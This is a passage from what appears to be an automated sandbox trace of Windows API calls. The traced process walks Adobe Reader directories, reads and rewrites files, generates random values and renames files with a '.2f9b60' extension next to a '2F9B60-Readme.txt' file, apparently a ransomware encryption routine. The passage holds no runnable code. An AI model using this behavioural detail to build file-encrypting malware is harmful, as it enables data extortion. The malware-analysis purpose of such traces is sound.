Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x3ba7d610 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x7179ba63 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x510fdb35 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x2e276e5b [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0xc24aea4 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x5c552dc2 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x33443cdd [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x14c5cde5 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x6873b82 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x473c0d52 [0137.871] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x26dd1fca [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x30943b57 [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x7052b5fc [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x114f6bcf [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x6c75979c [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x3d4d1922 [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x3979904f [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x7ca76e82 [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x7182f7e2 [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x4a76dc28 [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x5935ecb1 [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x5bcdee6d [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x656e0b0 [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x15a93c7e [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x7a19bee4 [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x57965dda [0137.872] RtlRandomEx (in: Seed=0x3420f930 | out: Seed=0x3420f930) returned 0x2567f860 [0137.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0137.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060a30 [0137.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0137.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060a30) returned 1 [0137.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0137.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0137.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97cb0 [0137.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060a30 [0137.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0137.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0137.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203554e0 [0137.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2036bd40 [0137.881] ReadFile (in: hFile=0x1e34, lpBuffer=0x203554e0, nNumberOfBytesToRead=0x647, lpNumberOfBytesRead=0x3420f930, lpOverlapped=0x0 | out: lpBuffer=0x203554e0*, lpNumberOfBytesRead=0x3420f930*=0x647, lpOverlapped=0x0) returned 1 [0137.881] SetFilePointerEx (in: hFile=0x1e34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.881] WriteFile (hFile=0x1e34, lpBuffer=0x2036bd40, nNumberOfBytesToWrite=0x647, lpNumberOfBytesWritten=0x3420f934, lpOverlapped=0x0) [0173.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3880 [0173.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38e0 [0173.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38e0) returned 1 [0173.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036bd40) returned 1 [0173.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203554e0) returned 1 [0173.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060a30) returned 1 [0178.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0178.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f130 [0178.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97cb0 [0178.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060a30 [0178.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a64a0 [0178.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a64a0) returned 1 [0178.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f330 [0178.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a64a0 [0178.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4f10 [0178.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f10) returned 1 [0178.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060a30) returned 1 [0178.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0178.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x42c155f0 [0178.625] SetFilePointerEx (in: hFile=0x1e34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0178.625] WriteFile (in: hFile=0x1e34, lpBuffer=0x42c155f0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3420fa50, lpOverlapped=0x0 | out: lpBuffer=0x42c155f0*, lpNumberOfBytesWritten=0x3420fa50*=0x10e, lpOverlapped=0x0) returned 1 [0184.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb60 [0184.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0184.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7370 [0184.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7370) returned 1 [0184.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec7370 [0184.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec73a0 [0184.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec73d0 [0184.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec73d0) returned 1 [0184.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0184.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb60) returned 1 [0184.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce5bb60 [0184.269] sprintf (in: _Dest=0x1ce5bb60, _Format="%c%c" | out: _Dest="10") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb62, _Format="%c%c" | out: _Dest="c3") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb64, _Format="%c%c" | out: _Dest="05") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb66, _Format="%c%c" | out: _Dest="e8") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb68, _Format="%c%c" | out: _Dest="f6") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb6a, _Format="%c%c" | out: _Dest="28") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb6c, _Format="%c%c" | out: _Dest="fd") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb6e, _Format="%c%c" | out: _Dest="34") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb70, _Format="%c%c" | out: _Dest="10") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb72, _Format="%c%c" | out: _Dest="81") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb74, _Format="%c%c" | out: _Dest="f7") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb76, _Format="%c%c" | out: _Dest="2d") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb78, _Format="%c%c" | out: _Dest="38") returned 2 [0184.269] sprintf (in: _Dest=0x1ce5bb7a, _Format="%c%c" | out: _Dest="12") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb7c, _Format="%c%c" | out: _Dest="fb") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb7e, _Format="%c%c" | out: _Dest="7f") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb80, _Format="%c%c" | out: _Dest="a5") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb82, _Format="%c%c" | out: _Dest="00") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb84, _Format="%c%c" | out: _Dest="c3") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb86, _Format="%c%c" | out: _Dest="95") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb88, _Format="%c%c" | out: _Dest="0b") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb8a, _Format="%c%c" | out: _Dest="ea") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb8c, _Format="%c%c" | out: _Dest="0f") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb8e, _Format="%c%c" | out: _Dest="67") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb90, _Format="%c%c" | out: _Dest="55") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb92, _Format="%c%c" | out: _Dest="c6") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb94, _Format="%c%c" | out: _Dest="6a") returned 2 [0184.270] sprintf (in: _Dest=0x1ce5bb96, _Format="%c%c" | out: _Dest="ed") returned 2 [0184.270] RtlInitAnsiString (in: DestinationString=0x3420fac8, SourceString="10c305e8f628fd341081f72d3812fb7fa500c3950bea0f6755c66aed" | out: DestinationString="10c305e8f628fd341081f72d3812fb7fa500c3950bea0f6755c66aed") [0184.270] RtlAnsiStringToUnicodeString (in: DestinationString=0x3420fa98, SourceString="10c305e8f628fd341081f72d3812fb7fa500c3950bea0f6755c66aed", AllocateDestinationString=1 | out: DestinationString="10c305e8f628fd341081f72d3812fb7fa500c3950bea0f6755c66aed") returned 0x0 [0184.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85e610 [0184.271] RtlFreeAnsiString (AnsiString="1") [0184.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb60) returned 1 [0184.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7370) returned 1 [0184.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec73a0) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c155f0) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f330) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a64a0) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3880) returned 1 [0184.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609b0) returned 1 [0184.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0184.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261640) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431c4720 [0192.017] wcscat (in: _Dest=0x431c4720, _Source="10c305e8f628fd" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\10c305e8f628fd") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\10c305e8f628fd" [0192.018] wcscat (in: _Dest=0x431c4720, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\10c305e8f628fd.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\10c305e8f628fd.2f9b60" [0192.018] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\10c305e8f628fd.2f9b60", NtPathName=0x3420fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\10c305e8f628fd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c2bd10 [0218.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2bd10) returned 1 [0218.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c29970) returned 1 [0218.207] NtQueryInformationFile (in: FileHandle=0x1e34, IoStatusBlock=0x3420fad8, FileInformation=0x3420fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3420fad8, FileInformation=0x3420fae8) returned 0x0 [0218.207] NtSetInformationFile (FileHandle=0x1e34, IoStatusBlock=0x3420fad8, FileInformation=0x3420fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c4720) returned 1 [0222.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0222.586] FlushFileBuffers (hFile=0x1e34) returned 1 [0222.594] CloseHandle (hObject=0x1e34) returned 1 [0224.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae650 [0224.447] wcscpy (in: _Dest=0x202ae650, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0224.447] wcscat (in: _Dest=0x202ae650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" [0224.447] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\2f9b60-readme.txt")) returned 0x20 [0224.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae650) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d6e0) returned 1 Thread: id = 2047 os_tid = 0x12f8 [0137.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4b6e0 [0137.870] wcscpy (in: _Dest=0x1cf4b6e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" [0137.870] wcscat (in: _Dest=0x1cf4b6e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\" [0137.870] wcscat (in: _Dest=0x1cf4b6e0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*" [0137.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63170 [0137.870] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c490 [0137.884] wcscmp (_String1=".", _String2=".") returned 0 [0137.884] FindNextFileW (in: hFindFile=0x1cd9c490, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.884] wcscmp (_String1="..", _String2=".") returned 1 [0137.884] wcscmp (_String1="..", _String2="..") returned 0 [0137.884] FindNextFileW (in: hFindFile=0x1cd9c490, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0137.884] wcscmp (_String1="CAT", _String2=".") returned 1 [0137.885] wcscmp (_String1="CAT", _String2="..") returned 1 [0137.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4be30 [0137.885] wcscpy (in: _Dest=0x1cf4be30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" [0137.885] wcscat (in: _Dest=0x1cf4be30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\" [0137.885] wcscat (in: _Dest=0x1cf4be30, _Source="CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" [0151.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b783680 [0151.632] wcscpy (in: _Dest=0x1b783680, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" [0151.632] wcscat (in: _Dest=0x1b783680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\" [0151.633] wcscat (in: _Dest=0x1b783680, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*" [0151.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a7d0 [0151.633] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c730 [0151.639] wcscmp (_String1=".", _String2=".") returned 0 [0151.639] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.639] wcscmp (_String1="..", _String2=".") returned 1 [0151.639] wcscmp (_String1="..", _String2="..") returned 0 [0151.639] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0151.639] wcscmp (_String1="AdobeID.pdf", _String2=".") returned 1 [0151.639] wcscmp (_String1="AdobeID.pdf", _String2="..") returned 1 [0151.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d910 [0151.639] wcscpy (in: _Dest=0x4205d910, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" [0151.639] wcscat (in: _Dest=0x4205d910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\" [0151.639] wcscat (in: _Dest=0x4205d910, _Source="AdobeID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" [0151.639] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf")) returned 0x20 [0151.640] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf", dwFileAttributes=0x20) returned 1 [0151.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2564 [0151.640] GetFileSizeEx (in: hFile=0x2564, lpFileSize=0x3432fa30 | out: lpFileSize=0x3432fa30*=73718) returned 1 [0151.640] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x11ff2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.640] ReadFile (in: hFile=0x2564, lpBuffer=0x3432f9b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3432f9f8, lpOverlapped=0x0 | out: lpBuffer=0x3432f9b0*, lpNumberOfBytesRead=0x3432f9f8*=0x4, lpOverlapped=0x0) returned 1 [0151.680] SetFilePointerEx (in: hFile=0x2564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f250 [0151.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc60 [0151.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffcf0 [0151.681] NtQuerySystemTime (in: CurrentTime=0x3432f8f0 | out: CurrentTime=0x3432f8f0*=132462177568966000) returned 0x0 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x64c6a19f [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x4ad5f28f [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x49b70c0 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x44c64da6 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1620df68 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x9c92c37 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x4b245ad4 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1e6c6193 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1380400c [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x5d0df6a1 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1dd256b8 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x2842d158 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x7504a864 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x77184745 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x5ce31de1 [0151.681] RtlRandomEx (in: Seed=0x3432f8e0 | out: 